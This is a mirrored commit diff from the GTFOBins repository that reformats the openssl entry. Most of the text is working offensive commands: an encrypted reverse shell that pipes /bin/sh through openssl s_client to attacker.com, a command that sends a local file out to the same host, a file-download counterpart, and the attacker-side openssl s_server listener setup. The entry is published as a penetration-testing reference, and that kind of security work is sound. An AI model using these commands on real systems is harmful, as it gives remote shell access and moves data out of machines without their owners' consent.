mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Refactor openssl descriptions
This commit is contained in:
parent
cdb4576c85
commit
e1a02558ec
@ -1,20 +1,38 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes && openssl s_server -quiet -key key.pem -cert cert.pem -port 12345` on the attacker box to receive the shell. Communication between attacker and target will be encrypted.
|
- description: |
|
||||||
|
To receive the shell run the following on the attacker box:
|
||||||
|
|
||||||
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
||||||
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
|
||||||
|
|
||||||
|
Communication between attacker and target will be encrypted.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s
|
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s
|
||||||
file-upload:
|
file-upload:
|
||||||
- description: Send a file to a TCP port, transmission will be encrypted. Run `openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes && openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 > file_to_save` on the attacker box to collect the file.
|
- description: |
|
||||||
|
To collect the file run the following on the attacker box:
|
||||||
|
|
||||||
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
||||||
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 > file_to_save
|
||||||
|
|
||||||
|
Send a file to a TCP port, transmission will be encrypted.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
openssl s_client -quiet -connect $RHOST:$RPORT < "$LFILE"
|
openssl s_client -quiet -connect $RHOST:$RPORT < "$LFILE"
|
||||||
file-download:
|
file-download:
|
||||||
- description: Fetch a file from a TCP port, transmission will be encrypted. Run `openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes && openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 < file_to_send` on the attacker box to send the file.
|
- description: |
|
||||||
|
To send the file run the following on the attacker box:
|
||||||
|
|
||||||
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
||||||
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 < file_to_send
|
||||||
|
|
||||||
|
Fetch a file from a TCP port, transmission will be encrypted.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
|
Loading…
Reference in New Issue
Block a user